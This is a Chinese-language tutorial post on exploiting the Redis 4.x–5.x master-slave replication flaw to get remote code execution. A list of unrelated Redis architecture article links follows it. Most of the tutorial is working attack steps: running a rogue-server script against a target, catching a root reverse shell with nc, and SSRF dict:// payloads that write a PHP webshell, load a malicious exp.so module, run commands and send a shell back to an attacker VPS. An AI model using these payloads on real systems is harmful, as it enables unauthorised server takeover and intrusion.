Redis主从复制漏洞gethsell

简介: 在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。利用范围:Redis 4.x-Redis 5.x

一、环境搭建:


wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar -xvzf redis-5.0.0.tar.gz
cd redis-5.0.0
make




漏洞描述:

在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。利用范围:Redis 4.x-Redis 5.x



修改redis.conf:



protected-mode yes 改为no      #关闭redis保护模式bind 127.0.0.1 改为0.0.0.0   #服务器任意网卡地址都可访问redis


启动redis:



cd src./redis-server ../redis.conf    #加载指定配置




二、漏洞复现:

1、执行rce脚本:


python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so

根据提示输入内容,然后等待反弹



2、vps上使用NC开启监听:


nc -lvp 6666

成功拿到反弹shell,并且权限为root



实战中大多配合SSRF漏洞使用,可配合dict、Gopher等协议操作redis,构造payload从而利用,举个dict的例子


①、写webshell:



1、连接远程主服务器:?url=dict://127.0.0.1:6379/slaveof:vps的ip:端口
2、设置保存路径:?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
3、设置保存文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
4、保存设置?url=dict://127.0.0.1:6379/save


②、直接RCE:

执行脚本:


python3 redis-rogue-server.py --rhost=VPS的IP --rport=任意端口 --lhost=VPS的IP --lport=任意端口


nc执行:


nc -lvp rport的端口

这里注意细节:在漏洞点每执行一句payload,在nc会监听到脚本做的动作,配合每次执行一次payload按一下回车,切记不要太激动,等脚本有响应了再按...


在有ssrf漏洞的点执行:






1、连接远程主服务器:?url=dict://127.0.0.1:6379/slaveof:vps的ip:端口
2、设置保存文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3、载入exp.so:?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
4、断开主从:?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
5、恢复原始文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6、执行命令:?url=dict://127.0.0.1:6379/system.exec:'命令'
7、反弹shell执行:?url=dict://127.0.0.1:6379/system.rev:vps的ip:反弹的端口


然后就会收到反弹的shell,本文只是抛砖引玉,更多姿势根据实际情况进行变形、利用,如有错误,欢迎指出,可在后台留言联系作者。点击阅读原文,获取更多骚思路


目录
相关文章
|
6月前
|
存储 监控 NoSQL
Redis高可用架构全解析:从主从复制到集群方案
Redis高可用确保服务持续稳定,避免单点故障导致数据丢失或业务中断。通过主从复制实现数据冗余,哨兵模式支持自动故障转移,Cluster集群则提供分布式数据分片与水平扩展,三者层层递进,保障读写分离、容灾切换与大规模数据存储,构建高性能、高可靠的Redis架构体系。
|
6月前
|
存储 负载均衡 NoSQL
Redis主从复制
在分布式系统中,为解决单点故障和提升性能,常采用Redis主从复制架构。通过将数据复制到多个从节点,实现读写分离、负载均衡及高可用性,同时支持多种拓扑结构以适应不同场景需求。
|
8月前
|
负载均衡 NoSQL Redis
【赵渝强老师】Redis的主从复制集群
Redis主从复制是指将一台Redis服务器的数据复制到其他Redis服务器,实现数据热备份、故障恢复、负载均衡及高可用架构的基础。主节点负责写操作,从节点同步数据并可提供读服务,提升并发处理能力。
242 5
|
存储 缓存 NoSQL
Redis常见面试题(二):redis分布式锁、redisson、主从一致性、Redlock红锁;Redis集群、主从复制,哨兵模式,分片集群;Redis为什么这么快,I/O多路复用模型
redis分布式锁、redisson、可重入、主从一致性、WatchDog、Redlock红锁、zookeeper;Redis集群、主从复制,全量同步、增量同步;哨兵,分片集群,Redis为什么这么快,I/O多路复用模型——用户空间和内核空间、阻塞IO、非阻塞IO、IO多路复用,Redis网络模型
Redis常见面试题(二):redis分布式锁、redisson、主从一致性、Redlock红锁;Redis集群、主从复制,哨兵模式,分片集群;Redis为什么这么快,I/O多路复用模型
|
存储 监控 负载均衡
redis 集群 (主从复制 哨兵模式 cluster)
redis 集群 (主从复制 哨兵模式 cluster)
|
NoSQL 关系型数据库 Redis
《docker高级篇(大厂进阶):1.Docker复杂安装详说》包括:安装mysql主从复制、安装redis集群
《docker高级篇(大厂进阶):1.Docker复杂安装详说》包括:安装mysql主从复制、安装redis集群
383 14
|
存储 NoSQL 大数据
大数据-51 Redis 高可用方案CAP-AP 主从复制 一主一从 全量和增量同步 哨兵模式 docker-compose测试
大数据-51 Redis 高可用方案CAP-AP 主从复制 一主一从 全量和增量同步 哨兵模式 docker-compose测试
209 3
|
NoSQL 网络协议 Redis
Redis的主从复制和哨兵模式
本文详细介绍了Redis的主从复制配置、原理(包括全量复制和增量复制)以及如何搭建一主二从的Redis集群,同时还探讨了Redis哨兵模式的概念、配置文件、以及如何配置一主二从三哨兵的Redis哨兵模式,以实现高可用性。
|
消息中间件 存储 缓存
深入理解Redis集群主从复制原理
该文章主要探讨了Redis集群中的主从复制原理,包括为何需要主从复制、配置方法、复制流程以及一些高级特性。
深入理解Redis集群主从复制原理
|
NoSQL Redis
Redis 主从复制架构配置及原理
Redis 主从复制架构配置及原理
256 5